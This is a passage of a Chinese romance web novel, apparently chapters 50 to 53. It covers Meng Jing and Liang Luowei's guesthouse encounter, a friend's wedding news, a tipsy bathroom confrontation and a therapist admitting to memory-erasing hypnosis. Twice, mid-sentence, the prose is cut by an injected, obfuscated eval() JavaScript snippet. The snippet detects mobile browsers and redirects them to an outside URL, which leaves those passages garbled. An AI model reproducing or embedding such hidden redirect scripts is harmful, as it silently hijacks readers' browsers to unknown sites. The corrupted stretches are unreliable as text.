周阿姨再次落了座，边给Toby擦嘴，边问孟婧：“这次回去，计划要办的事…都办完了？” 孟婧叹了口气：“算是吧，还差一点，远程办公也能解决。” “你知道我想问的不是这个。”周阿姨皱眉，凑到她耳边问，“和孩子爸爸见面了吗？” 周阿姨不知道孟婧失忆的事情，一直以为她是在国内受了情伤，到国外来独自产子的可怜女人。回京前，孟婧和Toby说会回去找Daddy，被她不小心听到了。 “没。”孟婧喝了一口汤。 五脏六腑被暖到，为她注入一丝继续圆谎的力气：“他出国了。” 周阿姨的眉头皱得更深，拉着她走到离Toby远一些的地方。 孟婧宽慰道：“周姨，别这么激动。” “我怎么能不激动！”周阿姨提高了嗓门，“出国？什么意思，旅游还是定居？不会…不会永远不回去了吧！要真是那样，你们娘儿俩也不要回去了！” 孟婧按住她的胳膊：“周姨，我回国也不是为了见他，主要是为了孩子的教育。” 周阿姨那一辈是传统女性，自然无法理解孟婧。 她反握住孟婧的手，语重心长道：“你都给他生儿子了！这些年一直没找，不就是对他念念不忘吗，阿婧，周姨也是女人，周姨懂！” 孟婧无奈：“周姨，咱们还是先吃…” “艾玛，这孩子什么时候站这的！”周姨吓了一跳，看向孟婧身后。 “不好意思，我是来办入住手续的。” 孟婧转身，看到男人阴沉着脸，气场让人如坠冰窟。 51. 第五十一夜 “梁叔叔！”Toby在远处就看到梁珞唯的身影，从餐椅上爬下来，欢快地跑近，“你这么快就来啦！” 下午在幼儿园的操场上，梁叔叔和他说了一个秘密——入住的酒店在装修，想要去他家入住。 他当然一万个愿意。 小机灵鬼一只手拉着男人的裤脚，眨着眼睛问孟婧：“阿婧，可以让梁叔叔和我们一起吃晚饭吗？” 孟婧家的民宿处在繁华的居民区，街区内有不少餐馆，但偶尔遇到有眼缘的客人想要体验中式家庭餐的，周阿姨也会为他们多做一些。 但此时的周阿姨想的却不是这些，根据Toby的态度，面前高大英俊的男人显然和孟婧认识。 “阿婧，这位是…？” 梁珞唯虽然冷着脸，但该有的礼仪还在:“您好，我叫梁珞唯，也可以叫我William，是…Toby的朋友。” 为了听起来不太滑稽，他弯腰揉了一下黑棕色的小卷毛。 像是配合，Toby用头顶着他宽大灼热的掌心，咯咯笑着。 怕这个疯子乱说话，孟婧重新拿起平板电脑，推着周阿姨和Toby回到餐厅：“我先给他办入住，您…给他准备副碗筷吧。” 如果是普通租客热情地提出共进晚餐的要求，周阿姨一般都会答应，孟婧虽不喜欢社交，但也不至于耽误生意。 此时拒绝若是拒绝，反而显得有些欲盖弥彰。 但她仍需要有个宣泄的出口。 于是，扎着丸子头，身穿毛绒连衣裙的年轻女老板一边低头划开平板，一边公事公办地说：“餐厅用餐100磅每餐每人，住宿费150磅每晚，押金是一晚的住宿费，刷卡还是现金？” 活像披着羊皮的狼。 梁珞唯递出护照和visa卡，声音冷冰冰的：“孟小姐开的是黑店？” “梁先生若觉得贵，不如回去住酒店，我可以帮您叫车。”孟婧接过护照录入信息，头都没有抬一下。 “不必。” 梁珞唯去过很多国家，办过几次三年工作签，孟婧翻找了好一会儿，才找到最新的。 注意到她的目光有意无意地扫过以前年份的出入境戳，梁珞唯指尖点在其中一个日期上：“这年，你也在？” “在啊。”孟婧用指甲抠着平板电脑的硅胶软壳，“不可以吗？” “没什么。”梁珞唯依旧绷着脸，“只是觉得有点遗憾。” 关于遗憾的是什么，话虽没说全，孟婧却觉得自己听懂了。 听懂的同时，一股莫名的酸涩从骨头缝中涌出，心像被铁块拴着，坠得她生疼。 这个人…不仅疯了，说的话还带毒。 她抵抗不住。 护照归还，孟婧往后退了一步，举起平板：“要拍一张半身照备案。” 屏幕上出现熟悉的脸，板着面孔，一眨不眨地看着镜头。 梁珞唯的T恤不是黑色就是白色，款式都差不多，让人怀疑是不是买了很多件一模一样的衣服。 平板像素不高，玄关光线不好，即便这样，他的颜值却依旧能打，或者说，恶劣的环境反而为他的五官加上一层朦胧的滤镜。 孟婧的视线和他在屏幕中相交，男人眼神冷冽、强势，却也带着毋庸置疑的认真与坦诚。 灼得她心慌。 就这样看了很久，梁珞唯问：“好了么？” 孟婧这才缓过神：“虚了，在重拍。” 于是，照片中，男人嘴角微微扬起。 “好了。” 这栋房子的餐厅很大，餐桌是长条形，Toby坐在最外面的短边侧，孟婧坐在长边侧，一边挨着Toby，另一边挨着周阿姨。 两人来到饭桌前，周阿姨已经帮梁珞唯盛好饭，将饭碗放在了自己旁边的位置。 这是以往客人吃饭的惯用位置，孟婧不喜欢和陌生人面对面，周阿姨负责将他们隔开。 谁知梁珞唯偏不，他拿起桌上的碗筷，道了谢，便径直坐到孟婧对面。 两人都挨着孩子。 孟婧瞪了他一眼，梁珞唯拿起筷子：“没办法，我是Toby的朋友。” 孟婧嘁了一声：“按这个辈分算，你应该叫我孟阿姨。” 说完，她低头将碗中凉了的疙瘩汤尽数咽下。 周阿姨看着身边低着头的女人，惊讶地说不出话来。 孟婧一向温婉，从不乱发脾气，即使面对追求者，也从来都是客客气气，甚至是寡言少语。 什么时候变得巧舌如簧了？眼神和语气中还不自觉带着点尾勾，似乎她自己都没发现。 “那个…梁先生是吧？”周阿姨打破沉默，“您是做什么的？” 她还不敢问对方和孟婧的关系。 梁珞唯放下筷子：“普通打工人而已，最近公司轮岗，暂时居家。” “这…”周阿姨的脸立刻皱起来，看看孟婧，像在替她择选夫婿般，嘟囔一句，“没工作可不行。” 孟婧一口汤呛住，险些咳出了眼泪。 看来周阿姨已经自动将梁珞唯划归为她的追求者，并且开启了长辈面试环节。 “周姨，不是你想的那样。”孟婧悄悄用手肘碰她，“别问了。” “没什么不能问的。”梁珞唯抽出一张纸巾递给孟婧，“不是没工作，暂时休假而已。” 另一只手也不闲着，捏了一把Toby肉嘟嘟的小脸。 “之前孟小姐托我推荐国内的幼儿园，最近有点消息，所以前来拜访。当然，该付的住宿费用一分都不会差。” 男人谈吐间尽是教养，让周阿姨放松了警惕，对他冷冰冰的初印象也消散无几。 “哦…你和阿婧是同事？” 梁珞唯点点头：“算是吧，我工作的公司是她客户之一。” “那可都是大公司！”周阿姨这才眉开眼笑，“总算是有个靠谱的。” 梁珞唯很会抓重点，明知故问：“周姨，什么靠谱的？” 周阿姨意识到自己说多了。 “梁先生。”孟婧将筷子放下，“我从小教育Toby食不言寝不语，既然您是他的朋友，还是陪他好好吃饭吧。” Toby似乎觉得这是一种表扬，朝梁珞唯挥挥手里的叉子，叉起一小块南瓜，张大嘴咬住。 梁珞唯看着他满脸天真，心情终于好了一些，重新拿起筷子。 一顿饭吃得沉默，饭后孟婧和周阿姨去收拾，Toby则拉着梁珞唯去玩具房。 “上面是你和妈妈住的地方，叔叔不方便去。”梁珞唯一把将他抱起，“去我屋里？” 他的声音不小，故意让孟婧听见。 于是厨房内传来幽幽的声音：“Toby，疯了一天，是不是该学习了？” Toby小嘴立马嘟起来，将头埋在梁珞唯肩膀上：“听不见！” 从幼儿园退园已经一周，他每天都在这条街各种叔叔阿姨店里玩，吃吃喝喝，还有玩具，如果孟婧不回来，可以一直不学习。 不爱学习这件事情总让孟婧头疼，她倒不求孩子今后考试有多优秀，只是Toby现在的英语，实在是低于同年龄段平均水平。 所以每天晚上，Toby被强制要求学习半小时的单词卡片。 孟婧挽着袖子从厨房出来，露出雪白的小臂，迎着走过去：“过来。” 本意是想让趴在梁珞唯肩上的小朋友回到她怀里，谁知Toby正背对她，反而是梁珞唯会错了意，也往前走了两步。 孟婧抱到Toby，却也虚虚地环住了他。 “你！”孟婧放开手，将娃形挂件取下，抱到自己怀里，“神经病…” 踏上几节台阶，她自上而下地看他：“明天白天，我会把他的单词卡拿下来，如果你又闲得发神经，可以陪他玩一会儿。” * 第二天一早，孟婧就去了中介机构，可能是Devin托的人起了效果，签证比她想象的顺利许多。 手续办完，已经是下午，孟婧看了看时间，驱车到了家附近的跳蚤市场。 市场从中午十二点开摊，一直持续到晚上六点，此时正是最为热闹的时候，孟婧停好车，将后备箱里的几包衣服拖出来。 “孟婧？你不是回国了吗？” “Toby妈妈，今天又带什么好东西了？” “阿婧！这边这边！给孩子拿点回去。” 孟婧穿过人群，和几个熟人打了招呼，最终停在一个挂满手工制品的摊位。 摊位前是用彩色毛线拼成的招牌——“婷婷手作”，里面站着一个和孟婧年龄相仿的女人。 戚婷婷正一丝不苟的勾着一个小猫挂件，听到孟婧的轻咳声才抬头，惊讶道：“你怎么来了！” “Toby签证的事，已经搞定了。”孟婧将包裹放到摊位里面：“家里又收拾出一些带不走的，你先挑挑，剩下的再放这里卖。” 戚婷婷是孟婧的研究生同学，在校园里收获异国爱情，毕业后不顾家人反对留在本地。她的男朋友是个没名气的画家，两人因为热爱艺术走到一起，虽然感情稳定，但生活中只靠戚婷婷一个人的工资支撑着，略显拮据。 因此工作之余，靠贩卖一些手工制品补贴生活。 戚婷婷回头看了一眼，笑着说：“这么多，我也穿不过来啊。” 孟婧拿起桌上的小猫仔细瞧着：“谁说都给你了，小男孩的衣服你也要啊？” “那可说不准，万一能用上呢。”戚婷婷挽起孟婧的胳膊，轻声说，“亲爱的，我…要结婚啦。” 孟婧一愣。 戚婷婷和男友恋爱多年，要说结婚，也确实早该结了，但现实的困难她也略知一二，她怕老同学被爱冲昏头脑，小心地问：“可是你们结婚住哪儿，总不能一直在画室凑合吧？” “不是。”戚婷婷手里绕着毛线，一圈一圈的，脸上泛着幸福，“有位经纪人看上他的画了，上个月签约后就卖出去两幅，之后的画价格也抬起来了。” 她说了一个名字，是当地有名的连锁画廊。 “恭喜！终于熬头了！”孟婧眼中惊喜，拍着胸口，“所以…他和你求婚了？” “嗯！”戚婷婷从衣服口袋中掏出一枚钻戒，“画廊会提供给他专门的画室，我们重新租了房子，以后不用窝在那个小地方啦。” 孟婧给了她一个拥抱，眼角湿润：“婷婷，你的眼光好，也有对他不离不弃的勇气，终于守得云开见月明了。” “我羡慕你的勇气，如果是我，可能一开始就不会这样选择。” 在计算利益得失之后，她绝不会主动让自己陷入困境。 “小婧，我并没有苦过，可能真的是有情饮水饱，我…每一天都觉得很幸福。现在经济条件好一些了，他提出结婚，我很开心，但如果以后有一天我们不再相爱，我也不会因为他的飞黄腾达而犹豫要不要留下。” 孟婧看着她手中璀璨的钻石，吸了吸鼻子：“婷婷，这些年我总觉得你被爱情困住了，现在想想，也许我们每个人都活在自己的枷锁里。我自诩势利，从不尝试涉足感情，又何尝不算失去自由。” 戚婷婷反过来抱了抱她：“也不用这么想，也许你给自己设限太多，只是因为没有遇见那个让你打破规则的人。” 打破规则…孟婧想到一个人。 好友敏锐地感知到她表情的不对劲：“脸怎么还红上了，难道那个人…出现了？” 孟婧摇摇头：“我不知道。” “道理不用我说，你自己心里都明白。”戚婷婷熟知孟婧的性子，“从朋友的角度，我希望你活得更洒脱一些。” “小婧，你是我在学校里第一个朋友，我们刚认识的时候，你不是这样的，虽然内向沉默，但对于感情从不回避，也能算是个敢爱敢恨的人。” “但是生下Toby以后就变了，我知道。”孟婧笑笑，“要顾及的现实问题太多，我…我总觉得自己不能做好。” 也不是没有尝试过接触异性，但每每对方表达出明确的好感后，内心无来由的恐惧和后怕会冲淡想要尝试的勇气，让她节节后退。 去医院进行分离焦虑症的治疗时，医生也曾分析过，她太过害怕失去，所以才希望在亲密关系中获得百分之一百的掌控，一旦掌控过度，又会陷入新一轮的焦虑。 对Toby的放养，也是对自我的疗愈。 “不说了，聊点开心的。”戚婷婷拍拍她，“抱歉现在才告诉你，后天…是我的婚礼。” “什么！？”孟婧讶异，“如果不是临时回来，你就打算不邀请我了？” “邀请你儿子了。”戚婷婷拿出手机，翻出一张Toby穿着小西装的样片，“就在威斯圣伯大教堂办个简单的仪式，大家在草坪上喝点酒，权当庆祝了。” “你找他当花童？”孟婧接过手机，她还没见过Toby这么小大人的打扮。 “怕耽误你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437190|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工作，所以我们就自己定了。话说，你儿子可比你会谈恋爱，我们还找了一个小女孩，可Toby只和Emma一起，最后没办法，只能他们俩上。” “小屁孩能懂什么…”孟婧抿了抿嘴，也不知道这孩子是随了谁。 “我既然回来了，肯定要去给你帮忙的，你们小两口朋友不多，还有什么缺人手的事情，我随时可以。” 戚婷婷想了想，眼睛一亮：“你这几年没少参加高端宴会，帮我挑挑婚礼上要用的酒？我准备了几个牌子的，但是不知道怎么搭配冷餐。” 孟婧想到家里那个有毒的男人，自然不愿意回去太早：“一会儿结束了，去你那里？” 戚婷婷点点头：“好啊，正好我老公今晚要在画室给一幅画收尾，咱们二人世界！” 跳蚤市场结束后，孟婧开车和戚婷婷一起回去，两人选酒选到很晚，终于确定了每种餐食的搭配。 酒后不能开车，她懒得叫代驾，好在离家不远，索性步行回去。 孟婧感冒刚好，晚上对每种酒也是浅尝辄止，但可能因为积少成多，或者喝得太杂，大脑被秋末的冷风一吹，酒精创造的眩晕感逐渐席卷大脑。 等到进家门时，已经有些站不稳。 “周姨？”她一只手撑在门边，另一只手揉着额头。 周阿姨刚收拾完厨房，正在客厅看电视，见孟婧不舒服，忙过来扶：“怎么了这是？怎么这么大酒气。” 孟婧换好鞋，跌坐进沙发上：“没事，就有点头疼。帮我煮碗醒酒汤吧。” “好的，我现在就去。” “Toby呢？”孟婧环视一圈，“已经睡了？” 时钟指向十点，早就过了哄睡时间。 周阿姨从厨房探出头，轻声说：“在小梁房间里。” 小梁？才一天，就叫这么亲热了。 一天没见到孟婧，周阿姨满肚子话没地方说，开火煮上汤，就连忙回到沙发上，拉起孟婧的手语重心长道：“阿婧，小梁人不错。” 孟婧觉得头更疼了：“周姨，您在说什么啊。” 肯定也是被梁珞唯毒迷了心。 “别装傻！”周阿姨板起脸，“人家今天帮你带了一天孩子，还把所有客房的热水器都检修了一遍，要我说，这家里有个男人就是不一样。” 孟婧用手挡着脸，还是觉得晕：“周姨，帮着带Toby的人那么多，也不缺他一个，维修就更别提了，我又不是请不起工人。” 周阿姨听她这套说辞已经耳朵起茧，自然也不会往心里去：“我能看出来，他是真喜欢那孩子。这些年想往你身边凑的也见过不少，可能和孩子这么投缘的，小梁是头一个。” 孟婧抠着沙发盖布，小声嘟囔：“真有那么投缘么…” 周阿姨越说越严肃：“你不要低估了孩子的眼光，他们最能看出来谁是真心，谁是假意。” “知道了。”孟婧听到水开的声音，不情愿地起身，“我去他屋里看看，先把Toby抱到楼上去睡。” “你行吗？别摔了。” 孟婧挥挥手：“没事，清醒着呢。” 客房的门关着，从外面听不到什么声音，孟婧轻轻敲了两声：“梁珞唯？我来接他上楼睡觉。” 等了一会儿，门开了。 梁珞唯穿了一套浅灰色的居家服，戴着金丝框眼镜，头发还没干透。 “Toby睡了？”孟婧带着酒气进门，往房间里看。 房间内黑漆漆的，只有写字台的电脑屏幕亮着，孟婧回头又看了一眼梁珞唯的眼镜，猜测他应该是在工作。 “你不用担心吵醒他，这孩子睡着以后打雷都听不见。”孟婧脚步虚浮，被人从后面扶住。 男人刻意压着嗓子，声音比以往都要性感：“到底喝了多少？” 又是熟悉的柑橘香。让孟婧想到昨天裹在他腰上的那条毛巾。 不欢而散，又一天未见，她却在一进门的瞬间感受到了强烈的暧昧。 是她的心变了吗？ “喝到微醺的程度。”她任由他扶着，抬起眸子，“周姨说你今天表现挺好，谢了。” “没必要。”梁珞唯戴了眼镜，可以清晰地看到她脸上的泛红，“我有话问你。” “嗯？”孟婧还盯着他，表情懒散，“请说。” 小男孩安静地睡在双人床的中央，身上搭了一件宽大厚实的男士毛衣，毛衣上还粘着几张钢铁侠的贴纸。 梁珞唯语气不善，带着点质问：“你和他说，他爸爸是钢铁侠？” 梁珞唯有毒。孟婧晃了一下，笑眯眯转移话题：“他今天学单词卡了吗？” 这是昨晚她和梁珞唯最后的对话，作为今天的开场，倒也足够合情合理。 梁珞唯没说话。 又是这样的眼神，孟婧想。 似要将她吞入腹中，凛冽得让人安心。原来，她也喜欢被掌控的感觉。 “钢铁侠多好，拯救世界，又酷又帅，重情重义。”她脑子晕的厉害，“钢铁侠招你惹你了。” “重情重义？”梁珞唯冷笑，“孟小姐，我看重情重义的是你吧。” 孟婧知道，他是昨天听到了周阿姨的话，以为她不答应他的理由是因为心里还有别人。 虽然不是真的，但如果他这么认为，还会坚持联姻吗？应该会吧，反正他们的婚姻也不是为了爱情。 她笑了笑：“梁先生心眼真小。” 眼镜的镜片反射出幽蓝色的光，隐藏住梁珞唯眼中的火。 整整一天了。 他不仅翻不了篇，还是个格外记仇的人。昨晚周阿姨无心的劝解像根钉子一样扎在他胸口，让他一天都喘不上气。 靠近，拒绝，又撩拨，这个女人浑身都长满了带毒的钩子，偏偏还是一副人畜无害的清纯模样。 让人牙根发痒。 “最好是醉了。”似被酒气传染，梁珞唯也迷了心。 他一只手扶着孟婧的胳膊，另一只手缓缓抬起，捏住她的下巴，想要看看她眼睛里到底藏了几分真情。 “你还在等他吗？” 孟婧没有躲开。 她迷离着眼睛，直勾勾地看着近在咫尺的男人:“梁珞唯，你是不是…喜欢我啊？” 她看到梁珞唯有一瞬间的迟疑。 哎，醉也是因为染了他的毒。 孟婧一只手滑进他的上衣下摆，用毋庸置疑地语气说：“脱了。” 52. 第五十二夜 梁珞唯被孟婧的放肆气到，将她下巴又扬了几分，哑着嗓子问：“把我认成谁了？” 黑暗中，他被愠怒包裹，就连原本斯文的眼镜都染上变态的意味。 “没认错。”孟婧手指已经触碰到紧绷的肌肉，很热，很滑，“梁珞唯，你还没回答我的问题。” 直到手指被灼热的手掌盖住，停止向上撩的动作，她仍旧没有抽回手：“你不敢。” 梁珞唯嗓子发紧，太阳穴一跳一跳地。他看了眼床上熟睡的Toby：“孩子在。” “他不会醒。”有些话过了今晚，也许永远都再没有勇气说，孟婧借着酒劲，“去卫生间。” 她能听见自己的心跳声。 愣了一会儿，梁珞唯放开她的下巴，整个人不再紧绷，反而呈现出一种放空的脆弱。 他自嘲地笑了一声：“孟婧，你知道自己在说什么吗？” 孟婧伸到他衣服中的手还被紧紧攥着，索性拖着人走：“你一个大男人，怎么，没被女人看过？” 因为是背对着，所以错过了梁珞唯逐渐暗掉的眼神。 这是孟婧第一次闯进一个男人的私人领域。 卫生间只有镜灯开着，梁珞唯的旅行用品不多，台面上整齐摆放着电动牙刷，洗面奶，面霜，和剃须刀。 Toby同款毛巾随意搭着，淋浴房里晾着一条黑色内裤，型号可观。 余光还没来得及扫完，梁珞唯关了门，两人之间瞬间构成极狭小的暧昧空间。 男人动作很快，几乎在进门的同时就把孟婧挤到镜子前。 左手摘下金丝眼镜扔在台面上，右臂伸向自己颈后一提，整件套头居家服像被拉起的帷幕丝滑脱下，展现出极具性张力的画面。 先是人鱼线和腹肌，随后是胸肌和锁骨。 孟婧只觉眼前白花花一片，还没站稳的双腿被人强势分开，想要动，上半身又被两条结实的手臂围住。 梁珞唯弓身撑在台面上，微微斜着头，眼中射出幽蓝的危险。 两人呼吸近在咫尺，他没有退，也没有再靠近：“满意了？” 两人呼吸都有明显起伏，孟婧刚从外面回来，连大衣都还没脱，和□□的男人形成鲜明对比。 她不知道该看那儿，想要伸手推，也不知道该把手放在哪个地方。余光中，男人曲着一条腿强势顶在她双腿之间的大理石上，暗示意味明显。 从没有这么靠近过一个赤.裸的异性，偏偏两人之间没有任何肢体接触，只是维持在将将接触到的临界点。 梁珞唯看着她越来越红的脸，压着嗓子：“我不敢？” 孟婧咬紧下唇，不似刚才那般嚣张。 她的勇气是有限度的，接着酒劲儿发疯，可真要说的时候，又觉得找不到合适的词。 “我不是那个意思。”她脖颈往后伸了伸，用微不可闻的声音说，“你转过去。” 梁珞唯没动：“到底想干什么，一次说清楚。” 孟婧还是选择低着下头：“昨天…我好像在你背上看到一个牙印。” “牙印？”梁珞唯眉头皱起，沉默片刻，“不可能。” 孟婧抬手在他肩上挥了几下：“不转也行，你…你再低一点。” 男人的锁骨凹得更加性感。 孟婧知道自己的脸一定很红，但既然已经说到这，不看也说不过去。 酒精在体内冲撞的晕眩感还在，女人白皙的指尖落在宽阔的肩膀上滑着，终于，找到了落点。 在靠近颈部的肩膀后侧，有一个小小的齿痕，不是很完整，暗粉色的印子，看起来有些年了。 孟婧踮起脚尖，从肩膀上往后下方看，等意识到自己的姿势有些奇怪时，已经晚了。 她正以及其亲密的姿势攀着男人的肩膀，呼吸洒在他耳后，借着镜灯微弱的光，可以看到他后颈处立起的细小绒毛。 而梁珞唯的手掌带着温度，已经不知不觉地按在她的背上。 “就是这里。”她点在那个地方，尽量收着鼻息，“正常照镜子很难看到。” 梁珞唯呼吸不稳，嗯了一声以作回应。 孟婧垂眸推开他，回到刚才的位置：“我想知道，这是谁咬的。” “梁珞唯？” “嗯。” 梁珞唯松开她，侧身扭在镜子跟前，用手扒着自己肩膀，去找那个很刁钻的角度。 孟婧怕他看不清，拿起台面上的金丝眼镜。 于是男人俯下，将脸凑到她面前。 孟婧咬着下唇帮他戴上，却觉得不穿上衣只带了一副眼镜的梁珞唯更加…涩情。 带着目的去找还是很好找的，梁珞唯看到那个齿痕，扭回身，腹肌挤成几块，眉头依旧紧锁着:“所以呢，想说什么。” 戾气稍减，给她足够的空间。 “所以…应该是女人咬的吧。”孟婧摇摇头，“我没什么目的，只是想说，既然我们都有过去，就不必揪着有些东西不放。” “女人？”梁珞唯斩钉截铁，“不可能。” 孟婧只当他在狡辩：“梁珞唯，你有曾经爱的人，我也有，但这些并不是影响联姻这件事的…” 梁珞唯烦躁地捋了一把湿发，打断她：“我没有。” 这个人现在什么也听不进去了。 孟婧看着他的眼睛：“好，你没有，那你喜欢我什么？” “我…”梁珞唯被问得失语，又觉得确实应该说点什么反击回去。 他看了眼镜中女人的背影，低头问：“一个莫名其妙的印子而已，你吃醋了？” 他背上那么多狰狞的疤，她都没有过问一句，却去在意一个根本看不清楚的痕迹。 “不用转移话题。”孟婧憋着一股气，“我也不是真要问出什么，只是想提醒梁先生，不管联姻与否，我们之间都已经越界了。” 谁家的商业联姻是像他们两人这样的，一个逃，一个追，纠缠不清，却全然不是因为利益。 “我越界？”梁珞唯不解，他觉得自己明明什么也没做。 梁珞唯感到不可置信。 他自认从未主动逾举，每次都是情势所迫，或是孟婧主动挑起他的情绪，至于是不是喜欢她… 他从来没有思考过这个问题。 有限的记忆中，他没有经历过恋爱，不知在亲密关系中应该怎样和人相处，更不知道动心是什么感觉。 但梁珞唯目前可以确定的是，他对眼前的女人有着强烈的占有欲和保护欲。这种欲望来源于什么，好奇、喜欢，或是想要达到目的的决心，他不知道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13465475|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该死的Mike！ 孟婧趁他愣神，紧紧揪着毛呢外套的腰带，小声说：“是我们。” 虽然还没有答应，但她允许梁珞唯就这样闯进自己的生活和家庭，已经是“离经叛道”一样的行为。 梁珞唯以为自己听错了：“你说什么？” “没什么。”孟婧抿着嘴，手放在对方柔软的胸肌上，微微用力推开，“合同我做了一些修改和补充，一会儿让周姨拿给你。” 梁珞唯的心像被什么东西轻轻挠了一下，愣愣地随着胸前的冰凉力道后退：“你…” “Toby同意才行。”孟婧语速很快，边说边拉开卫生间的门。 在把门关上之前，她回头：“关于Toby和他的父亲，你介意是应该的，但我保证，如果合约真的达成，存续期内，我只有一个爱人。” 直到这一刻，梁珞唯才意识到刚才孟婧说了什么。门外传来缥缈的一句“我走了你再出来”，之后便是大门打开又关上的声音。 她答应了。 男人看着镜中人，又摸了摸自己的胸口，叉腰在卫生间内转了几圈。 他需要先洗个凉水澡。 * 第二天上午，梁珞唯来到Mike诊所的前台。 前台护士认识他，主动起身：“博士外出开会，要中午才能回来，需要我帮您预约下午的面诊吗？” “需要，谢谢。”梁珞唯驻足一会儿，“Leo医生今天在吗？我找他有点私事。” “稍等我查一下…Leo医生上午有空。” 几分钟后，上次在梁珞唯面前说错话的那位Mike的助理医师从电梯中走出。 护士起身：“Leo医生，这位患者找您。” 梁珞唯朝他点点头。 Leo脚步一顿，表情和蔼道：“我有印象，您是上次来找老师的那位患者。” 这位医生是个当地人，基因造就的冷白皮，紧张时会泛起突兀的红。 梁珞唯无意当着别人戳穿，礼貌问：“关于之前的治疗，我有几个问题，Mike让我直接问你，可以吗？” 他说得及其自然，像是确有其事的样子。 “啊…里面请。”Leo双手插在白大褂口袋中，带梁珞唯上楼。 作为助理，他有自己的办公室，电梯上行，他偷瞄镜中的高大男人，问：“你…怎么知道我的名字。” 外国人还真是单纯，梁珞唯在心里嘁了一声：“因为我想起来了。” 只是模棱两可地诈了一句，Leo便受不住了。 他不再掩饰，睁大眼睛转头看他：“你想起来了！？” 梁珞唯蓝黑色的眸中自带压迫感，虽然语气和善，却让人莫名害怕：“不可以么？” “这…”Leo的表情变换，从口袋中掏出一块手帕，擦了擦额头，“最近一定发生了什么事情，你需要找老师进一步诊断。” 梁珞唯点点头：“我知道，所以刚才预约了治疗。” 语气自然，丝毫没有降罪和责备的意思。 Leo松了口气，尴尬地笑着说：“文献说这种催眠效果可以维持十年以上，没想到，刚刚五年，就需要再次巩固了。” 梁珞唯眼睛微微眯起：“催眠？” 53. 第五十三夜 “这只是一种通俗叫法，为了便于理解。”Leo走出电梯，带领他往右手边的走廊前进，“对于那件事，你能想起来多少？” 梁珞唯盯着他的背影，目光露出寒意：“只是对你这个人有印象，具体的还不是很清晰。” Leo点点头：“这也正常。” 走到办公室门前，Leo刚要掏钥匙，手机响了。 是Mike。 挂掉电话，Leo收起钥匙：“William先生，非常抱歉，老师的会议提前结束，让我去火车站接他，您…” “没关系，我们一起。”梁珞唯看了眼时间，“如果上午能治疗就最好，下午我还有其他事情去办。” Leo去站台接人的时候，梁珞唯就坐在车里等，所以Mike看到他时，已经没有再离开的借口。 Leo见老师面露不悦，以为他出差不顺利，询问的时候被劈头盖脸骂了一顿，蔫蔫地坐到后排，转而由梁珞唯坐上驾驶位。 修长的五指搭在方向盘上敲着，梁珞唯转头看了一眼副驾驶的位置：“你的助手可能还不清楚发生了什么。” “上次见面时你就已经开始怀疑了吧？”Mike无奈地推了推眼镜，“我该带他一起去的。” “没用。”梁珞唯踩下油门，“我迟早要搞清楚。” 小轿车被他开出了跑车的架势，不到十分钟就回到诊所。行李和助手被扔在车上，梁珞唯阴着一张脸要求Mike立刻面诊。 他没有给这位年近半百的老友任何休息的时间，孟婧已经答应联姻的事情，现在的每一分钟对他来说都很珍贵。 在熟悉的沙发上落座，梁珞唯双腿交叠，面色凝重：“Mike，五年前所谓的催眠治疗到底是怎么回事。” Mike洗了手，隔着镜子看他：“William，有些事情不需要深究，要知道，你的病和阴郁多思的性格有很大关系。你需要一些阳光，而不是徘徊在阴影里不离开。” “阳光…”梁珞唯自嘲一笑，“现在的我站在阳光下，只会更加确信，自己是个残缺的人。” 有什么非常重要的东西正在流失，或者说，曾经流失了。 他想找回来。 “我是你的医生，也是你的朋友。”Mike走到他身边，“William，请相信我。” 这一次，他没有回到医生的办公椅上，而是坐在了梁洛维身边。 Mike的声音温和舒缓：“可以和我随便聊聊吗，是什么让你有了这样的想法？” 梁珞唯沉思片刻，嗓音略带上扬：“最近我遇到一个女人。” 完了，Mike想。 “她很特别？” “她…有点奇怪。”梁珞唯皱眉，“有时候主动靠近，有时候又突然躲得远远的，让人猜不透。” “可不管靠近还是闪躲，都会让我觉得心里很难受——一种想要掌控，却一直在失控的难受。” Mike问：“心动了？” 梁珞唯又想到孟婧昨晚的那句“你是不是喜欢我啊”。 “为什么所有人都要问我这个问题。”他做了个深呼吸，试图平稳情绪，“我不知道。” 如果没有爱过，如何判断这是爱，或者不是。 Mike拍了拍他的肩膀：“没关系，这个问题本来也不是思考出来的，顺着你的心意去做，我相信现在的你可以很好的处理这些。” 梁珞唯从Mike的字里行间品出一些不同的味道：“现在的我？你是说，以前的我曾经没有办法处理吗。” 这回变成Mike深呼吸。 回避不是好方法，他摊牌道：“我承认，五年前，我为你做过催眠，因为一些…影响你健康的事情。” “催眠是你主动要求的。”Mike起身坐回自己的转椅上，从办公桌下的保险柜中取出一份文件，“如果你想看当时的材料，我这里都有存档。” 梁珞唯一愣。无论如何，他都没有想到这事情源于自己。不过想想也对，如果没有本人同意，Mike也不会进行这么危险的治疗手段。 一拳打在棉花上，他卸了力气，整个人陷在沙发靠背中：“不必了，我信你。” 于是Mike把文件收好：“当时你的身体状况很不好，治疗也是被迫进行的，一共持续了几个月，才最终完成记忆的彻底清除。” 梁珞唯闭上眼睛，一只手撑在额头：“如果是我的要求，当年一定和你签了保密协议。” Mike耸耸肩：“你还是很了解自己的。” 锋利的下颌上提，是男人的苦笑。本以为一切马上就要真相大白，却发现目前的困境出自五年前的自己。 这可笑的死循环。 